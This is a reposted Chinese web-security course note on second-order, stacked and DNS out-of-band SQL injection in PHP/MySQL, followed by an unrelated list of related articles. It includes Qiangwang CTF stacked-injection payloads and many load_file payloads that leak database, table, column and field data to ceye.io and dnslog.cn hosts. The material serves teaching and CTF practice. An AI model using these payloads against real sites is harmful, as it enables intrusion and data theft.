Day45:WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

目录

PHP-MYSQL-二次注入-DEMO&74CMS

DEMO-用户注册登录修改密码

CMS-74CMS个人中心简历功能

PHP-MYSQL-堆叠注入-DEMO&CTF强网

Demo

2019强网杯-随便注(CTF题型)

PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)


知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件

2、PHP-MYSQL-SQL注入-堆叠注入&利用条件

3、PHP-MYSQL-SQL注入-带外注入&利用条件

以下漏洞在实战中是很难碰到的

PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)几乎不可能,干扰因素太多
白盒思路:insert后进入select或update的功能的代码块(一般都通过这个方式挖出来)
 

1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据

DEMO-用户注册登录修改密码

CMS-74CMS个人中心简历功能

PHP-MYSQL-堆叠注入-DEMO&CTF强网

Demo

堆叠注入触发的条件很苛刻:因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行

在数据库中这样执行是没有问题的,但是如果在实战中,都是通过网站插入注入语句,那么这个时候就得看这个网站当前的脚本支不支持多语句查询,也就是有没有使用mysqli_multi_query函数(该函数支持多SQL语句查询)

产生条件:支持堆叠数据库:MYSQL MSSQL Postgresql等

  1. 目标脚本代码中存在多语句执行函数(mysqli_multi_query)并对;号不过滤
  2. 目标数据库类型支不支持多SQL语句执行


 

2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from 1919810931114514;

';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

PHP-MYSQL-带外注入-DEMO&DNSLOG(让服务器主动把数据交出去)

注入条件:

  1. root高权限且支持load_file()函数(mysql有个secure-file-priv配置会限制load_file函数)
  2. windows系统(需要用到\号)为啥payload需要用到四个\\,就是因为数据库转义

有部分注入点是没有回显的,所以读取也是没回显的,就得采用带外注入

使用平台:http://ceye.io

ping test.dbuh8a.ceye.io //test是随便改的,后面是固定的

ping %USERNAME%.dbuh8a.ceye.io //%USERNAME%获取本地计算机用户名的

带外应用场景
解决不回显,反向连接,SQL注入,命令执行,SSRF等

数据库里执行:
select load_file(concat(‘\\’,(select database()),‘.7logee.dnslog.cn\aa’)); //aa随便输入的

SQL注入:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc'))) //abc随便输入的

// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))//查询其他数据库
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""//查询版本号
id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))//查询当前数据库demo01中第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询字段值  数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

limit 0,1 查询第一个表名

limit 1,1 查询第二个表名

limit 2,1 查询第三个表名

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/766334.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

索引设计原则与性能优化实践

索引设计原则与性能优化实践是数据库管理中的关键领域,旨在提升数据库查询和更新操作的效率。以下是几个核心的索引设计原则与相关的性能优化实践: 索引设计原则: 1. 唯一性索引 - 如果存在一个字段的值是唯一的(例如身份证号、学…

动手学深度学习|notebook教程

D2L.AI|《动手学深度学习》Notebooks 目录 面向中文读者的能运行、可讨论的深度学习教科书 含 PyTorch、NumPy/MXNet、TensorFlow 和 PaddlePaddle 实现 被全球 70 多个国家 500 多所大学用于教学 github 下面是整理好的,可以直接运行的notebook 0 前…

TensorFlow打印网络参数的个数

注意区分打印网络参数的个数和打印网络参数(权重和偏置)的个数 在TensorFlow 1.0 中,可以通过使用tf.trainable_variables()获取模型的所有可训练参数(即权重和偏置),并使用sess.run()在会话中运行这些变量…

Ps:色彩平衡

色彩平衡 Color Balance命令可改变阴影、中间调、高光中的颜色平衡,从而改善图像的整体色彩表现或为图像创造特定的氛围。 Ps菜单:图像/调整/色彩平衡 Adjustments/Color Balance 快捷键:Ctrl B Ps菜单:图层/新建调整图层/色彩平…

如何实现JWT Token的自动续期

实现JWT(JSON Web Tokens)Token的自动续期主要涉及到两个关键的概念:刷新令牌(Refresh Token)和访问令牌(Access Token)。访问令牌通常有较短的有效期,而刷新令牌有较长的有效期。当…

Oracle Data Guard部署

Oracle的主备DG搭建 1. 修改主机名,同步时间 主库IP:192.168.100.137 备库IP:192.168.100.138配置主机名(主库) Hostname zygjpdb vim /etc/hosts 192.168.100.137 zygjpdb 192.168.100.138 zygjsdbvim /etc/sysconfig/network HOSTNAMEzygjpdb ------…

文件上传二—WEB攻防-PHP应用文件上传中间件CVE解析第三方编辑器已知CMS漏洞

演示案例: PHP-中间件-上传相关-Apache&NginxPHP-编辑器-上传相关-第三方处理引用PHP-CMS源码-上传相关-已知识别到利用 #PHP-中间件-上传相关-Apache&Nginx 复现漏洞环境:vulhub (部署搭建看打包视频) 由于PHP搭建常用中…

二叉树:递归算法的理解和运用

上一期中,我们了解到了堆,堆的结构也可以叫做二叉树的顺序结构,今天我们一起来看看二叉树的链式结构,我们还要学习有关于二叉树递归的书写。 首先,这是一个二叉树,但是对于普通的二叉树来说,增…

【Linux】详谈命令行参数环境变量

目录 一、浅谈命令行参数 二、环境变量 2.1环境变量的内涵以及理解 2.2PATH环境变量: 2.3输入程序名就能运行我们的程序 2.4系统中的环境变量 2.5导出环境变量 三、main函数的第三个参数 3.1获得环境变量的三种方法 四、本地变量 一、浅谈命令行参数 我们的m…

用自己的想法模拟实现库函数(2)完结篇

哈喽,小伙伴们,我们又见面了,上次讲完strlen函数的模拟实现后,发现还比较受大家欢迎,因此,本次给大家带来模拟函数的完结篇。温馨提示:本篇文章将会涉及到可能还未学到的实用性较高的库函数哟。…

Leetcode刷题笔记——动态规划之子序列问题篇

Leetcode刷题笔记——动态规划之子序列问题篇 一、回文 第一题:回文子串 Leetcode647. 回文子串:中等题 (详情点击链接见原题) 给你一个字符串 s ,请你统计并返回这个字符串中 回文子串 的数目。 回文字符串 是正着…

案例实践 | 基于长安链的煤质检测智慧实验室

案例名称-煤质检测智慧实验室 ■ 建设单位 国能数智科技开发(北京)有限公司 ■ 用户群体 煤炭生产单位、电力单位、化工单位等产业链上下游单位 ■ 应用成效 化验效率提升50%,出验时间缩短40%,提高化验数据市场公信力 案例…

数据降维 | Matlab实现POD本征正交分解数据降维模型

数据降维 | Matlab实现POD本征正交分解数据降维模型 目录 数据降维 | Matlab实现POD本征正交分解数据降维模型基本介绍模型描述程序设计基本介绍 1.Matlab实现POD本征正交分解数据降维模型(完整源码和数据); 2.运行环境matlab2023; 3.POD降维,POD分解(Proper Orthogonal D…

Lua热更新(Lua)

-- [[]] print 下载Lua For Windows Sublime Text(仅用于演示,实际项目使用VsCode) CtrlB运行 语法基础 基础类型:nil number string boolean 运算符:and-or-not ~ ^ if-then-end-elseif-else while-do-…

数据仓库——雪花模式以及层次递归

层次结构 钻取 向下钻取:对某些代表事实的报表中添加维度细节 向上钻取:从某些代表事实的报表中去除维度细节 属性层次 提供了一种自然方法,用于顺序地在不断深入的层次上组织事实。许多维度可以被理解为包含连续主从关系的属性层次。此类…

Java面试题:设计一个线程安全的单例模式,并解释其内存占用和垃圾回收机制;使用生产者消费者模式实现一个并发安全的队列;设计一个支持高并发的分布式锁

Java深度面试题:设计模式、内存管理与并发编程的综合考察 随着Java技术的不断发展,对Java开发者的技术要求也在不断提高。设计模式、内存管理、多线程工具类以及并发工具包和框架等都是Java开发者必须掌握的核心知识点。本文将通过三道综合性的面试题&a…

只有IP地址怎么实现HTTPS访问?

只有IP地址也可以实现HTTPS访问。虽然大部分SSL证书通常是针对域名发放,但也存在专门针对IP地址发放的SSL证书,这类证书允许服务器通过HTTPS协议为其公网IP地址提供安全的Web服务。当服务器配置了基于IP地址的SSL证书后,用户可以通过“https:…

第十届蓝桥杯大赛个人赛省赛(软件类)真题- CC++ 研究生组-字串数字

3725573269 #include<iostream> #include<map> #include<string> using namespace std; int main(){map<char, int> mp;string s "LANQIAO";long long ans 0, power 1;//7位数的26进制可能会超过int范围for(int i 1; i < 26; i){mp.…

深度学习(过拟合 欠拟合)

过拟合&#xff1a; 深度学习模型由于其复杂性&#xff0c;往往容易出现过拟合的问题。以下是一些深度学习中常见的过拟合原因和解决方法&#xff1a; 1. 数据量不足&#xff1a;深度学习模型通常需要大量的数据来进行训练&#xff0c;如果数据量不足&#xff0c;模型容易过度…

富格林:可信操作实现安全做单

富格林认为&#xff0c;现货黄金最近又又创历史新高了&#xff0c;不少投资者都嗅到其好处跃跃欲试想进场操作一番。但事实上&#xff0c;若希望实现安全做单&#xff0c;还是得要熟练掌握可信的黄金操作技巧。富格林为让大家顺利实现安全交易&#xff0c;特地总结了以下可信操…